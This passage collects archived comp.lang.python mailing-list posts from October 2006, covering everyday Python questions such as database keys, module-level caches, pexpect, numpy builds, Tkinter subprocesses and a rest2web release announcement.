workbook.VBProject.VBComponents.Add(1)" > Please help me :-( The Excel on the box you're testing this, have you set it to trust programmatic access to the VB Project? If you haven't, I wouldn't be surprised if that line would likely raise an exception. I'm pretty sure Excel's security model has changed a bit between 2000 and 2003, so perhaps this is what is biting you. From mensanator at aol.com Fri Oct 20 14:07:25 2006 From: mensanator at aol.com (mensanator at aol.com) Date: 20 Oct 2006 11:07:25 -0700 Subject: proper format for this database table In-Reply-To: References: <1161293831.141761.284230@e3g2000cwe.googlegroups.com> <4t5_g.121$1n3.3067@news.tufts.edu> Message-ID: <1161367645.430191.289290@k70g2000cwa.googlegroups.com> John Salerno wrote: > Carsten Haese wrote: > > >>> [id] [university] [yearStart] [yearEnd] [degreeEarned] > >>> 1 U of I 1971 1975 BS > >>> 1 U of I 1975 1976 MS > >>> 1 U of I 1976 1977 PhD > >>> > >> Thanks guys. I do plan to have an id entry for each person as well, I > >> just forgot to mention that. But since it's a primary key, I didn't know > >> I could list it more than once. Or does primary key not necessarily mean > >> unique? > > > > Primary key *does* mean unique in the table that defines it. However, if > > you take a primary key ID from one table and store it in a different > > table, that's a foreign key. There are no inherent uniqueness > > constraints on a foreign key. > > > > So in the example above, isn't that using the same primary key multiple > times in the same table? Actually, the [id] in the example was intended to be the foreign key, I didn't specify an id for the degree records themselves. A more typical example would be [Eid] [Sid] [university] [yearStart] [yearEnd] [degreeEarned] 5 1 U of I 1971 1975 BS 6 1 U of I 1975 1976 MS 7 1 U of I 1976 1977 PhD where [Eid] is the primary key of the Education table and [Sid] is the foreign key from the Student table so that the single student record (1) links to three education records (5,6,7). From fredrik at pythonware.com Tue Oct 3 14:56:10 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 03 Oct 2006 20:56:10 +0200 Subject: Looping over a list question In-Reply-To: <1159897804.722852.8160@i42g2000cwa.googlegroups.com> References: <1159897804.722852.8160@i42g2000cwa.googlegroups.com> Message-ID: stephen at theboulets.net wrote: > I found myself writing: > > for f in [i for i in datafiles if '.txt' in i]: > print 'Processing datafile %s' % f > > but I was wishing that I could have instead written: > > for f in in datafiles if '.txt' in f: > print 'Processing datafile %s' % f > > Has there ever been a proposal for this? probably. but unless your editor or keyboard is horribly broken, you can of course press return at the right place instead: for i in datafiles: if '.txt' in i: print 'Processing datafile %s' % f (for this specific case, "endswith" is more reliable than "in", btw) From B.Ogryczak at gmail.com Mon Oct 23 12:45:33 2006 From: B.Ogryczak at gmail.com (Bart Ogryczak) Date: 23 Oct 2006 09:45:33 -0700 Subject: sharing persisten cache between modules In-Reply-To: References: <1161620802.744818.16500@e3g2000cwe.googlegroups.com> Message-ID: <1161621933.150100.149830@m7g2000cwm.googlegroups.com> Fredrik Lundh wrote: > Bart Ogryczak wrote: > > > I?ve got a problem creating persistent cache, that would be shared > > between modules. There a supermodule, which calls submodules. I?d like > > submodules to use cache created in the supermodule. The only way I see > > right now, is to pass it as function argument, but that would require a > > change in API, which I?d prefer to avoid. Is this the only way? > > does "module" mean Python module? Yes it does. > why not just put the cache management > code in a module that's imported by any submodule that wants to use it ? The problem is, that then it is not shared. If I do it like that, each module has it?s own copy of the cache. Maybe I?m doing something wrong. I?ve made a cache module, imported it in each of the submodules. I don?t know how to make the data "static". From duncan.booth at invalid.invalid Fri Oct 20 08:43:58 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 20 Oct 2006 12:43:58 GMT Subject: invert or reverse a string... warning this is a rant References: Message-ID: "Demel, Jeff" wrote: > I've been programming professionally for over 10 years, and have never > once needed to reverse a string. Maybe it's a lack of imagination on my > part, but I can't think of a single instance this might be necessary. I did want to reverse some strings once, but it may have been nearly 10 years ago now. If I remember correctly the situation was that I wanted to store a lot of strings on a pda with limited memory and no gzip library. One way of doing simple compression would be to store them sorted with the first byte simply containing the number of characters in common with the previous string. It happened that the strings in question had common suffixes more than prefixes, so I stored them sorted by the reverse of the strings with a lead byte containing the number of common characters at the tail of the string. Shortly afterwards I ported gzip to the target platform. From ocollioud at gmail.com Mon Oct 2 09:14:22 2006 From: ocollioud at gmail.com (olive) Date: 2 Oct 2006 06:14:22 -0700 Subject: Python/UNO/OpenOffice? In-Reply-To: <1159794483.092877.196110@m7g2000cwm.googlegroups.com> References: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com> <1159792556.813570.10480@k70g2000cwa.googlegroups.com> <1159794483.092877.196110@m7g2000cwm.googlegroups.com> Message-ID: <1159794862.317582.214860@e3g2000cwe.googlegroups.com> ... and you have to start your py file with: import uno, sys, socket from com.sun.star.beans import PropertyValue ... and your start_oo_server.bat file with: @SET PYTHONPATH=C:\Program Files\OpenOffice.org 2.0\program;C:\Program Files\OpenOffice.org 2.0\program\python-core-2.3.4\lib @SET PATH=C:\Program Files\OpenOffice.org 2.0\program;C:\Program Files\OpenOffice.org 2.0\program\python-core-2.3.4\bin From jweida at gmail.com Tue Oct 24 21:33:57 2006 From: jweida at gmail.com (Jerry) Date: 24 Oct 2006 18:33:57 -0700 Subject: I like python. In-Reply-To: References: <1161379318.934985.115810@m7g2000cwm.googlegroups.com> Message-ID: <1161740037.396086.317230@i42g2000cwa.googlegroups.com> Glad I could help. -- Jerry From henrique.nakashima at gmail.com Wed Oct 4 01:21:25 2006 From: henrique.nakashima at gmail.com (Henrique Nakashima) Date: Wed, 4 Oct 2006 02:21:25 -0300 Subject: Compiling binaries Message-ID: Hi, I'm trying to find a way to compile .py files into linux binaries, so that i can distribute a program without having the user install python itself. Is there a way to do that? I tried pypack but since im new with linux, i couldn't install it from source. There was also py2exe, but this makes only windows exes. Thank you for the help. -------------- next part -------------- An HTML attachment was scrubbed... URL: From peter.maas at somewhere.com Fri Oct 6 17:00:21 2006 From: peter.maas at somewhere.com (Peter Maas) Date: Fri, 06 Oct 2006 23:00:21 +0200 Subject: n-body problem at shootout.alioth.debian.org In-Reply-To: <1160166729.868246.56630@b28g2000cwb.googlegroups.com> References: <1160166729.868246.56630@b28g2000cwb.googlegroups.com> Message-ID: Matteo wrote: > Of course, numpy is not a standard package (though there is a proposal > to add a standard 'array' package to python, based of numpy/numeric), > but if you want to do any numerics with python, you shouldn't be > without it. I know that nbody.py could be speeded up by psyco and numpy but I was curious why plain Python was slower than plain Perl. Thanks for your hints, guys! -- Regards/Gruesse, Peter Maas, Aachen E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64') From harvey.thomas at informa.com Fri Oct 13 07:23:14 2006 From: harvey.thomas at informa.com (harvey.thomas at informa.com) Date: 13 Oct 2006 04:23:14 -0700 Subject: Insert characters into string based on re ? References: <1160692180.139410.302410@f16g2000cwb.googlegroups.com> Message-ID: <1160738594.288895.136560@i42g2000cwa.googlegroups.com> Matt wrote: > I am attempting to reformat a string, inserting newlines before certain > phrases. For example, in formatting SQL, I want to start a new line at > each JOIN condition. Noting that strings are immutable, I thought it > best to spllit the string at the key points, then join with '\n'. > > Regexps can seem the best way to identify the points in the string > ('LEFT.*JOIN' to cover 'LEFT OUTER JOIN' and 'LEFT JOIN'), since I need > to identify multiple locationg in the string. However, the re.split > method returns the list without the split phrases, and re.findall does > not seem useful for this operation. > > Suggestions? I think that re.sub is a more appropriate method rather than split and join trivial example (non SQL): >>> addnlre = re.compile('LEFT\s.*?\s*JOIN|RIGHT\s.*?\s*JOIN', re.DOTALL + re.IGNORECASE).sub >>> addnlre(lambda x: x.group() + '\n', '... LEFT JOIN x RIGHT OUTER join y') '... LEFT JOIN\n x RIGHT OUTER join\n y' From jurian at juriansluiman.nl Sun Oct 29 15:56:57 2006 From: jurian at juriansluiman.nl (Jurian Sluiman) Date: Sun, 29 Oct 2006 21:56:57 +0100 Subject: Get pexpect to work References: Message-ID: Ok, somebody helped my and found with "help(child.sendline)" that the number (7) is the number of characters from my password. Still there doesn't seem to be that anything strange is happening. With the logfile printed out, I found that child.expect places a 0 behind the next rule. Is this always what's happening? And is that 0 causing all my troubles? I'm a newbie with python, so I don't know much about it. This is (again) the output, but with a sys.stdout line between it: >>> child = pexpect.spawn("vpnc-connect tudelft\ nopass.conf") >>> child.logfile = sys.stdout >>> child.expect(".* password .*: ") Enter password for wb1264222 at luchtbrug.tudelft.nl: 0 >>> child.sendline("[my_password]") 7 Any help is really appreciated! I can search on the Internet, but with no clue to search for and which keywords to use, all results don't help me. Thanks, Jurian PS. Sorry for my bad English, I hope you can understand it. From beliavsky at aol.com Sun Oct 22 00:12:24 2006 From: beliavsky at aol.com (beliavsky at aol.com) Date: 21 Oct 2006 21:12:24 -0700 Subject: PSF Infrastructure has chosen Roundup as the issue tracker for Python development References: Message-ID: <1161490344.858999.291130@b28g2000cwb.googlegroups.com> BJ?rn Lindqvist wrote: > On 10/20/06, Brett Cannon wrote: > > At the beginning of the month the PSF Infrastructure committee announced > > that we had reached the decision that JIRA was our recommendation for the > > next issue tracker for Python development. I wonder if the committee has really decided on a PROBLEM or BUG tracker, not an "issue" tracker. For some silly reason, "issue" has become a euphemism for "problem" nowadays. It is worth keeping in mind the difference. Questions about the future direction of Python, such as (for example) whether there should be optional static typing, are "issues". Python crashing for some reason would be a "problem". From gmarkowsky at gmail.com Mon Oct 30 09:57:33 2006 From: gmarkowsky at gmail.com (gmarkowsky at gmail.com) Date: 30 Oct 2006 06:57:33 -0800 Subject: importing class In-Reply-To: References: <1161966120.828597.57280@b28g2000cwb.googlegroups.com> <1162140046.696622.295130@m7g2000cwm.googlegroups.com> Message-ID: <1162220253.426998.197840@i42g2000cwa.googlegroups.com> Thanks for your help. Actually my idea was that command1 and command2 would be defined within the program, not the module, as I would have different choices in different programs. Should I pass them in as a parameter too? Greg Steve Holden wrote: > gmarkowsky at gmail.com wrote: > > Thanks, I got that part. The problem I'm still having is that it's not > > seeing things like text_1, which are defined in the program. How can I > > make it see that? > > > Your module is intended to work with many different main programs, so it > shouldn't make any assumptions about the names that the main program > uses for things. That would be rather bad programming style ("rigind > coupling" is something to be avoided where possible). I wouldn't call > that class App just because it's misleading: maybe you could change the > name to YesNo, or Choice, or something more indicative of its function? > > You could pass text_1 and text_2 as arguments to the class's __init__ > method - that way you could just use them directly. > > > Another question I should ask is whether I should even bother doing > > this. That is, it seems that the elegant and approved way of doing this > > kind of thing may be to put a class in a module and then just use the > > module over and over again in programs. I'm making a few GUIs which > > present two options and ask the user to chose one, so I thought I could > > just do it this way. Of course I could very easily just copy and paste > > the class into each file, but that seems silly. I haven't had any > > trouble using modules for functions, but for classes it is not working > > right so far, and I'm having trouble finding examples to follow. > > > Seems like parameterization is the thing you are missing. Change the > __init__ method declaration to > > def __init__(self, master, text_1="OK", text_2="Cancel"): > ... > > leaving the rest of the code the same. (Though I note your module also > fails to define a "command1" and "command2" function, this may just be > because you are only quoting partial code). > > Then in your main program create the object with > > myDialog = YesNo(master, "Yes", "No") > > Looks like you are new to Python - perseverre and you will pick it up > quite quickly! > > regards > Steve > -- > Steve Holden +44 150 684 7255 +1 800 494 3119 > Holden Web LLC/Ltd http://www.holdenweb.com > Skype: holdenweb http://holdenweb.blogspot.com > Recent Ramblings http://del.icio.us/steve.holden From jmpurser at gmail.com Wed Oct 18 18:12:22 2006 From: jmpurser at gmail.com (John Purser) Date: Wed, 18 Oct 2006 15:12:22 -0700 Subject: Reading a Microsoft access file. In-Reply-To: <1161182387.14846.26.camel@Tiredbones.lan> References: <1161182387.14846.26.camel@Tiredbones.lan> Message-ID: <1161209542.5309.0.camel@localhost.localdomain> On Wed, 2006-10-18 at 10:39 -0400, infotechsys at pivot.net wrote: > I googled for the answer but all the answer seem to imply that you > have to have Access installed on your system. I have a file that was > created using Access and I want develop a Python script to > read the file and produce a report. Can this be done, if could you point > me to some doc? > Thanks. > Wayne > Wayne, Check out: http://mdbtools.sourceforge.net/ https://sourceforge.net/projects/mdbtools/ John Purser From jefishman at gmail.com Thu Oct 26 00:28:00 2006 From: jefishman at gmail.com (jefishman at gmail.com) Date: 25 Oct 2006 21:28:00 -0700 Subject: Embedded python loading .so files? Message-ID: <1161836879.975380.196610@m73g2000cwd.googlegroups.com> I have a Python (2.3.x) interpreter running embedded in a C++ application on a host machine. I would like to run a specific package on that host machine (numpy). I have managed to compile (cross-compile) the library, so that I have the python modules and the compiled .so files. I am relatively sure that these would import normally in a standard interpreter (they give bad magic on the build machine). However, I would like to be able to import this package dynamically within the application running on the host machine. When I attempted to import the package within the already loaded python modules, I would get errors that the C portions of the package could not be found (the pure-python modules would load, call to import module_foo, which is module_foo.so, but would error "Cannot find module_foo"). How can I get the application to load the package? Do I need to load it through the C API? I would heavily prefer not to recompile the interpreter, if at all possible. Thanks, Jeremy From sjmachin at lexicon.net Sun Oct 8 09:08:12 2006 From: sjmachin at lexicon.net (John Machin) Date: 8 Oct 2006 06:08:12 -0700 Subject: Bizzare lst length problem In-Reply-To: <1160311703.533544.164250@i42g2000cwa.googlegroups.com> References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> <1160311703.533544.164250@i42g2000cwa.googlegroups.com> Message-ID: <1160312892.128455.205030@i42g2000cwa.googlegroups.com> Ben wrote: > Ah... my list is a string. That explains the len() results, but not why > it is a string in the dirst place. > > I have a dictionary containing a number of instances of the following > class as values: > > class panel: > mops =[] > > def __init__(self,number,level,location,mops,matrix): > self.number=number > self.level=level > self.location=location > self.mops=mops > self.matrix=matrix > > > abve mops is a list, yet when I access it it is a string... > Well, if you are going to spare us from reading all of your code, you'll have to debug it yourself. The clue that Fredrik gave you is *not* of the use-once-and-discard variety -- when you are having problems with the pixies changing your lists into strings, you need to sprinkle prints of type(pixie_prey) and repr(pixie_prey) at salient points in your code; as first statement in that __init__ method would be a good start. From fabianosidler at gmail.com Wed Oct 25 14:45:24 2006 From: fabianosidler at gmail.com (Fabiano Sidler) Date: Wed, 25 Oct 2006 18:45:24 +0000 Subject: Current stackdepth outside PyEval_EvalFrameEx In-Reply-To: References: <200610230220.47741.fabianosidler@gmail.com> Message-ID: <200610251845.24729.fabianosidler@gmail.com> On Tuesday 24 October 2006 17:05, Neil Cerutti wrote: > Perhaps the inspect module will help? See 3.11.4 The Interpreter > Stack. No, sorry if I didn't eplain it well enough. I meant the object stack of the current frame, not the frame stack. In my function, I wanted to return the list of objects on the object stack (f_valuestack) in the caller's frame. For this, I must have or compute the number of objects on this stack, but don't have an idea how to do it. Thanks in advance! Fips From fredrik at pythonware.com Thu Oct 19 02:16:57 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 19 Oct 2006 08:16:57 +0200 Subject: Getting method name from within the class method In-Reply-To: <20061018145926.0e8d3277@opal.pathscale.com> References: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> <20061018145926.0e8d3277@opal.pathscale.com> Message-ID: Mitko Haralanov wrote: >>>>> class test(object): >> ... def a_method(self,this,that): >> ... print self.a_method.__name__ > > Doing the above will obviously work! so will print "a_method" of course. no need to be silly when you don't have to. > However, I don't want to have to use the name of the function in the > print statement (the ".a_method." part). Imagine having about 100 of > the above print statements in the function and then you change the name > of the function. I want all 100 of the print statements to work without > having to change every one of them to reflect the new function name. why are you writing functions that needs to output their own name a 100 times? why should the program's *external* behaviour depend on such an irrelevant detail of its internal design? sounds like lousy design to me. if you want to tag 100 messages with the same name, and you want to make it easy to change that name, should the need arise, use a variable: def a_method(self, this, that): name = "myname" print name, "is running" print name, "is about to return" From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Sun Oct 29 06:42:22 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Sun, 29 Oct 2006 12:42:22 +0100 Subject: Event driven server that wastes CPU when threaded doesn't References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com> Message-ID: <4qjicuFnfj6uU1@individual.net> Snor wrote: > There is a lot of interaction between the clients and they would > often need to write to the same list of values, which of course > becomes a problem with a threaded server - so event driven solves > that problem, and I assumed it would solve all my problems. Which problem, and why "of course"? Sorry, I can't follow you here :) > I will want the server to support as many users as is possible on > any given machine - and so wasted CPU cycles is something I am > trying to avoid. I'm not exactly sure how you connect to that SQL server ... you shouldn't wait for the response of the MySQL server in a blocking way, but either using dataReceived() method of the protocol instance or, if that isn't possible, by using a Deferred instance that fires when the answer is available. This is also possible with your client connections. Regards, Bj?rn -- BOFH excuse #354: Chewing gum on /dev/sd3c From fuzzyman at gmail.com Sun Oct 15 17:56:20 2006 From: fuzzyman at gmail.com (Fuzzyman) Date: 15 Oct 2006 14:56:20 -0700 Subject: [ANN] rest2web 0.5.0 Final Message-ID: <1160949380.750083.272280@f16g2000cwb.googlegroups.com> At last `rest2web 0.5.0 Final `_ is released. Quick download links: * `rest2web-0.5.0.zip `_ * `rest2web-0.5.0.tar.gz `_ This release has several bugfixes, as well as some interesting new features, over previous releases. Release Summary ============= Important changes since the last release (0.5.0 Beta 1) include: * All the standard `macros `_ are now built-in. There is no need for a separate macro file if you are only using the standard ones. * A new 'skiperrors' config file / command line option. Errors in processing a file can now be ignored and rest2web will attempt to continue processing. * A config file is no longer required in force mode. (The current directory is used as the source directory and html output is put into a subdirectory called 'html'.) * The restindex and uservalues block may now be in a ReST comment. This means that rest2web source documents with a restindex can still be valid ReStructured Text documents. What is rest2web ============= **rest2web** is a tool for creating websites, parts of websites, and project documentation. It allows you to keep your site contents in `ReStructured Text `_ or {acro;HTML;HyperText Markup Language}. Using a flexible templating system, using embedded Python code for unlimited flexibility and no new templating language to learn, it can then output the HTML for your site. **rest2web** is extremely flexible, with many optional features, making it suitable for building all kinds of websites. See the `main page `_ for links to some of the sites built with rest2web. What's New ? ========== You can find the full changelog: `here `_. Paths in the ``file`` keyword and in the config file now have '~' expanded. This means they can use paths relative to the user directory. (Plus the 'colorize' and 'include' macros.) Added 'skiperrors' config file / command line option. Errors in processing a file can now be ignored and rest2web will attempt to continue processing. Fixed bug where non-ascii uservalues would blow up. There was a bug in handling tabs in embedded code. This has been fixed. The macro system has been revamped. All the standard macros are now built in as default macros. The modules needed by the default macros are also now built into rest2web. You can still add your own macros, or override the default ones, by supplying an additional macros file. ``Macro Paths`` section added to the config file for configuring the default macros ``smiley`` and ``emoticon``. The initial message printed by rest2web has been changed to ``INFO`` level, so that it is not displayed by the ``-a`` and ``-w`` verbosity levels. The namespace and uservalues for each page are now available to the macros, using global variables ``uservalues`` and ``namespace`` (dictionaries). This means you can write macros that are customised for individual pages. A config file is no longer required in force mode. (The current directory is used as the source directory and html output is put into a subdirectory called 'html'.) The restindex and uservalues block may now be in a ReST comment. This means that rest2web source documents with a restindex can still be valid ReStructured Text documents. Fixed imports in the gallery plugin. (Thanks to Steve Bethard.) Changed over to use the latest version of `StandOut `_. rest2web now exits with an error code corresponding to the number of warnings and errors generated. Errors and warnings are now output on ``sys.stderr``. From johnjsal at NOSPAMgmail.com Tue Oct 31 10:22:33 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Tue, 31 Oct 2006 15:22:33 GMT Subject: wxPython TextCtrl - weird scrolling behavior In-Reply-To: <1162242161.009063.65140@e64g2000cwd.googlegroups.com> References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com> <1162238656.661097.75180@f16g2000cwb.googlegroups.com> <1162240822.260735.316040@e64g2000cwd.googlegroups.com> <2yt1h.206$1n3.4433@news.tufts.edu> <1162242161.009063.65140@e64g2000cwd.googlegroups.com> Message-ID: abcd wrote: > On Oct 30, 3:47 pm, John Salerno wrote: >> I noticed that one object you refer to is >> self.textPane, is that supposed to be self.textPanel? > > no, self.textPane is the actual wx.TextCtrl. > > I used a GUI Builder to the layout stuff...perhaps that's my problem :) > > is there a good site to refer to for how to use sizers? i am > essentially creating a chat window (textPane is the history of the > chat, then a textCtrl below it for typing a new message and a button > next to the input field and buttons below the input field). > After I watched the screencasts for how Dabo uses sizers, I really understood them a lot better. I've never used Dabo itself for GUI design, but the screencast, though it shows them in terms of that program, still gives a great visual presentation of how sizers work in general and I suggest you take a look at that: http://leafe.com/screencasts/sizers1.html http://leafe.com/screencasts/sizers2.html P.S. I suggest you post the full code to the wxPython mailing list. I'll take a look at it to see if anything strikes me, but also you will have a ton of other (more experienced) people looking at it too, and I guarantee they will spot your problem. From george.sakkis at gmail.com Fri Oct 27 02:37:18 2006 From: george.sakkis at gmail.com (George Sakkis) Date: 26 Oct 2006 23:37:18 -0700 Subject: NumPy 1.0 release References: <1161927501.585705.151830@b28g2000cwb.googlegroups.com> Message-ID: <1161931038.286671.68440@m73g2000cwd.googlegroups.com> Robert Kern wrote: > George Sakkis wrote: > > ImportError: > > /usr/local/lib/python2.4/site-packages/numpy/linalg/lapack_lite.so: > > undefined symbol: zheevd_ > > > > Googling for "undefined symbol: zheevd_" returned no hits, at which > > point I gave up for now; hopefully someone will have a suggestion on > > what to do next (other than dumping RH's mess for Ubuntu, which I'd > > gladly do if it was up to me). > > zheevd is a LAPACK routine. Check for that symbol in the LAPACK library that you > are linking. If it's not there, then your LAPACK library is broken. ATLAS > provides some optimized LAPACK routines, and some distributions of ATLAS provide > LAPACK libraries with *only* those routines: > > http://scipy.org/FAQ#head-0f5cda66c4d28a8c65206cc2b4213e18f1c22547 Thanks Robert, mystery solved; the source was there but I had changed the Makefile to not build for complex variables after reading about RH's problem, and then forgot to put it back. At last, I can now import numpy! I don't have any use for complex variables, so I hope the broken tests don't imply anything for the reliability of the library on my system. Thanks again, George From duncan.booth at invalid.invalid Tue Oct 3 10:17:58 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 3 Oct 2006 14:17:58 GMT Subject: Raw strings and escaping References: Message-ID: Jon Ribbens wrote: > Well, hardly *much* harder: > > pattern = r"""foo""" It means you have to always triple quote your raw strings or know in advance of writing the regular expression which of r'', r"", r'''''', r"""""" is most appropriate. The way it works at the moment you don't have to care, you just write the raw string knowing that with r'' you have to escape single quotes, r"" you have to escape double quotes and everything works as expected. Its only when you start trying to use raw strings for things other than regular expressions that backslash at the end of the string can be a problem. From jstroud at mbi.ucla.edu Fri Oct 13 04:56:29 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Fri, 13 Oct 2006 08:56:29 GMT Subject: Python Best Practice References In-Reply-To: References: Message-ID: <1xIXg.22340$Ij.9008@newssvr14.news.prodigy.com> Wijaya Edward wrote: > Can anybody suggest any references (links, books, etc)about this? > I'm thinking of something similar with D.Conway's "Perl Best Practice". > > -- Edward WIJAYA > SINGAPORE > > ------------ Institute For Infocomm Research - Disclaimer ------------- > This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. > -------------------------------------------------------- By all means, please start here: http://www.python.org/doc/essays/styleguide.html James From chtaylo3 at gmail.com Thu Oct 19 10:13:35 2006 From: chtaylo3 at gmail.com (Christopher Taylor) Date: Thu, 19 Oct 2006 10:13:35 -0400 Subject: Install from source on a x86_64 machine In-Reply-To: <1161266293.603870.102470@i42g2000cwa.googlegroups.com> References: <1161252731.452070.308570@h48g2000cwc.googlegroups.com> <1161266293.603870.102470@i42g2000cwa.googlegroups.com> Message-ID: <2590773a0610190713m1e2337c2la56479de04053b28@mail.gmail.com> > Generally, the install process should respect the prefix (ie. /usr in > your case, /usr/local in the default case) and then choose the > appropriate library directories below that (ie. /usr/lib, /usr/lib64 in > your case), but I can't find anything obvious in the README about > specifying architecture-dependent install directories. Well that's pretty much what's happening ... either the 64bit libs aren't being put in /usr/lib64 ... they're all being put in /usr/lib or they were never compiled up in 64bit mode. The only think I can think of is that the configure script doesn't check the mode the OS is running in and take appropriate steps, ie.e compile the libs in both 32 and 64 bit mode and place them accordingly. I know this is a problem because when I try and compile up mod_python it's telling I'm getting the following error when it tries to link libpython2.4.a : /usr/bin/ld: /usr/lib/python2.4/config/libpython2.4.a(abstract.o): relocation R_X86_64_32 against `a local symbol' can not be used when making a shared object; recompile with -fPIC /usr/lib/python2.4/config/libpython2.4.a: could not read symbols: Bad value Which basically means to me that for whatever reason, when python compiled up, the ./configure script didn't see that the os was running in 64bit mode and compile the libraries in PIC mode, something I think that is required for libraries on a 64bit OS. Respectfully, Christopher Taylor From karl at NOSPAMkarlcore.com Mon Oct 30 09:55:18 2006 From: karl at NOSPAMkarlcore.com (Karl Groves) Date: Mon, 30 Oct 2006 08:55:18 -0600 Subject: Backup Mailman? Message-ID: Does anyone out there know of a utility that will allow you to backup Mailman (including the subscribers and all messages)? TIA -- Karl Groves www.karlcore.com From aurelien.campeas at free.fr Mon Oct 16 06:28:12 2006 From: aurelien.campeas at free.fr (aurelien.campeas@logilab.fr) Date: 16 Oct 2006 03:28:12 -0700 Subject: run subprocess in separate window In-Reply-To: <1160930616.489486.184800@i3g2000cwc.googlegroups.com> References: <1160930616.489486.184800@i3g2000cwc.googlegroups.com> Message-ID: <1160994492.172958.235580@i42g2000cwa.googlegroups.com> Radek a ?crit : > Hi, > > I am trying to create GUI launcher of several applications using Python > and Tkinter. > > Currently when using subprocess.Popen("mycommand") all output goes to > the stdout of my launcher. > > For some command line applications I need to launch them so that their > output goes into the separate "terminal" window. > > How can I make it? > > Thanks, > > Radek Hello, have a look at the subprocess module, it might help you get to what you want. From gagsl-py at yahoo.com.ar Mon Oct 9 22:49:50 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Mon, 09 Oct 2006 23:49:50 -0300 Subject: doesNotUnderstand? In-Reply-To: <93fc17a50610091715o1106525dg4709786236cb64fe@mail.gmail.co m> References: <93fc17a50610091715o1106525dg4709786236cb64fe@mail.gmail.com> Message-ID: <7.0.1.0.0.20061009232717.046e02f0@yahoo.com.ar> At Monday 9/10/2006 21:15, Liquid Snake wrote: >Hello :). Some days ago i went to a seminar >about Metaprograming and Reflection. >I was a little famirialized with the subject, >and wanted to explore it further. >The seminar was great, but the point is that >every example was programmed in smalltalk. >I know smalltalk, and never have much use for >the doesNotUnderstand method until the guys at >the conference open my eyes with some examples. >Altough i have applied concepts of reflection in >python many times, i think i't will be nice to >have a magic method that works like doesNotUnderstand for some purposes. >The reason i'm writing is because i want to know >if such method already exists... or maybe... if >you think having one it's a good/possible idea. > >Right now... im thinkng i really can emulate >that behavior using Exceptions..., and i really >think that's what SmallTalk kind of do >under-the-hood (dont flame me if i'm terribly worng plz). >But i still want to know if theres a method like >__insertMethodNameHere__ that does it for me... >or if you think it's a nice thing to have... I'm not a Smalltalk guru, but I think Object>>doesNotUnderstand is called whenever the object receives an unknown message. In Python, you have __getattr__ which is called after unsuccessful looking for an attribute in the usual places ("attribute" may be a method name too). A typical example is a proxy: an object which forwards method calls to another, "real" one. In your seminar I guess they talked about the difficulty to do a "generic" proxy using other languages like C++ (or even Java). In Python it's easy using __getattr__: class Proxy: def __init__(self, realObject): self.__dict__['realObject'] = realObject def __getattr__(self, name): return getattr(self.realObject, name) def __setattr__(self, name, value): return setattr(self.realObject, name, value) o = some_object() p = Proxy(o) p.method(1,2,3) finally calls o.method(1,2,3) p acts like o: it has the same attributes and so. Of course __getattr__ may do a lot more: it can forward the request using xmlrpc to another server, by example, or whatever you want. If you look at the Python Cookbook surely you?ll find several examples. -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From grante at visi.com Thu Oct 26 10:19:32 2006 From: grante at visi.com (Grant Edwards) Date: Thu, 26 Oct 2006 14:19:32 -0000 Subject: doesnt seems to work can any help be provided References: <1161868888.823864.66700@f16g2000cwb.googlegroups.com> Message-ID: <12k1gvklgmhi94c@corp.supernews.com> On 2006-10-26, Arun Nair wrote: > import string > > class Card: Could you please keep this homework assignment in a single thread in order to make it easier to ignore for those of us who don't want to work on this particular homework problem for you? If not, then you're likely to get get killfiled by many people (all your postings will get ignored). -- Grant Edwards grante Yow! Why is everything at made of Lycra Spandex? visi.com From roee88 at gmail.com Thu Oct 12 04:25:31 2006 From: roee88 at gmail.com (roee88 shlomo) Date: Thu, 12 Oct 2006 10:25:31 +0200 Subject: Dll files and Python2.5 Message-ID: <9963f10e0610120125t790ae74ke88e4319ca7c1888@mail.gmail.com> Hi, I would like to know a few things about the dll files usually included in Python windows applications: 1. in the Pythonwin Home Page (http://www.python.net/crew/skippy/win32/) I can see that mfc42.dll is required for python2.3 and mfc71.dll is required for python2.4 . Is mfc71.dll still required in python2.5 as in 2.4 ? I'm asking it because I deleted all the mfc71.dll files from my computer and functions that uses win32com are still working. Perhaps mfc71 is included in the python25 package? 2. What package requires msvcr71.dll ? 3. What package requires msvcp71.dll ? Thanks, Roee. -------------- next part -------------- An HTML attachment was scrubbed... URL: From bjobrien62 at gmail.com Mon Oct 2 21:04:42 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 2 Oct 2006 18:04:42 -0700 Subject: Need help with an array problem. In-Reply-To: References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com> <1159826923.911685.30120@m73g2000cwd.googlegroups.com> <1159828738.510075.153600@i42g2000cwa.googlegroups.com> Message-ID: <1159837482.121713.219710@i3g2000cwc.googlegroups.com> Robert Kern wrote: > jakobsg at gmail.com wrote: > > To your question on casting long to short. This is how: > > a=1234L # long > > b=int(a) # int (short) > > No, a Python int is a C long. A Python long is an arbitrary-precision number and > does not correspond to any C type. > > -- So there is no short(number) casting? > Robert Kern > > "I have come to believe that the whole world is an enigma, a harmless enigma > that is made terrible by our own mad attempt to interpret it as though it had > an underlying truth." > -- Umberto Eco From jstroud at mbi.ucla.edu Fri Oct 20 14:01:04 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Fri, 20 Oct 2006 18:01:04 GMT Subject: help with my first use of a class In-Reply-To: References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> Message-ID: Fulvio wrote: > 